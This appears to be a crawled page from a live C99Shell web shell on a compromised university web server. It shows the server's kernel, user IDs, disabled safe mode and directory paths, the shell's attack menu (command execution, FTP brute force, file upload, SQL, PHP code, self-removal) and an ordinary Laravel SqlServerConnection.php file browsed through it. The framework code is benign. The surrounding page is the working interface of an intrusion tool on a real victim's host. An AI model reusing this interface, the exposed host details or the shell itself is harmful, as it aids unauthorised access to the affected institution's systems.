!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Database/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SqlServerConnection.php (2.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Database;

use 
Closure;
use 
Exception;
use 
Throwable;
use 
Doctrine\DBAL\Driver\PDOSqlsrv\Driver as DoctrineDriver;
use 
Illuminate\Database\Query\Processors\SqlServerProcessor;
use 
Illuminate\Database\Query\Grammars\SqlServerGrammar as QueryGrammar;
use 
Illuminate\Database\Schema\Grammars\SqlServerGrammar as SchemaGrammar;

class 
SqlServerConnection extends Connection
{
    
/**
     * Execute a Closure within a transaction.
     *
     * @param  \Closure  $callback
     * @return mixed
     *
     * @throws \Exception|\Throwable
     */
    
public function transaction(Closure $callback)
    {
        if (
$this->getDriverName() == 'sqlsrv') {
            return 
parent::transaction($callback);
        }

        
$this->getPdo()->exec('BEGIN TRAN');

        
// We'll simply execute the given callback within a try / catch block
        // and if we catch any exception we can rollback the transaction
        // so that none of the changes are persisted to the database.
        
try {
            
$result $callback($this);

            
$this->getPdo()->exec('COMMIT TRAN');
        }

        
// If we catch an exception, we will roll back so nothing gets messed
        // up in the database. Then we'll re-throw the exception so it can
        // be handled how the developer sees fit for their applications.
        
catch (Exception $e) {
            
$this->getPdo()->exec('ROLLBACK TRAN');

            throw 
$e;
        } catch (
Throwable $e) {
            
$this->getPdo()->exec('ROLLBACK TRAN');

            throw 
$e;
        }

        return 
$result;
    }

    
/**
     * Get the default query grammar instance.
     *
     * @return \Illuminate\Database\Query\Grammars\SqlServerGrammar
     */
    
protected function getDefaultQueryGrammar()
    {
        return 
$this->withTablePrefix(new QueryGrammar);
    }

    
/**
     * Get the default schema grammar instance.
     *
     * @return \Illuminate\Database\Schema\Grammars\SqlServerGrammar
     */
    
protected function getDefaultSchemaGrammar()
    {
        return 
$this->withTablePrefix(new SchemaGrammar);
    }

    
/**
     * Get the default post processor instance.
     *
     * @return \Illuminate\Database\Query\Processors\SqlServerProcessor
     */
    
protected function getDefaultPostProcessor()
    {
        return new 
SqlServerProcessor;
    }

    
/**
     * Get the Doctrine DBAL driver.
     *
     * @return \Doctrine\DBAL\Driver\PDOSqlsrv\Driver
     */
    
protected function getDoctrineDriver()
    {
        return new 
DoctrineDriver;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0104 ]--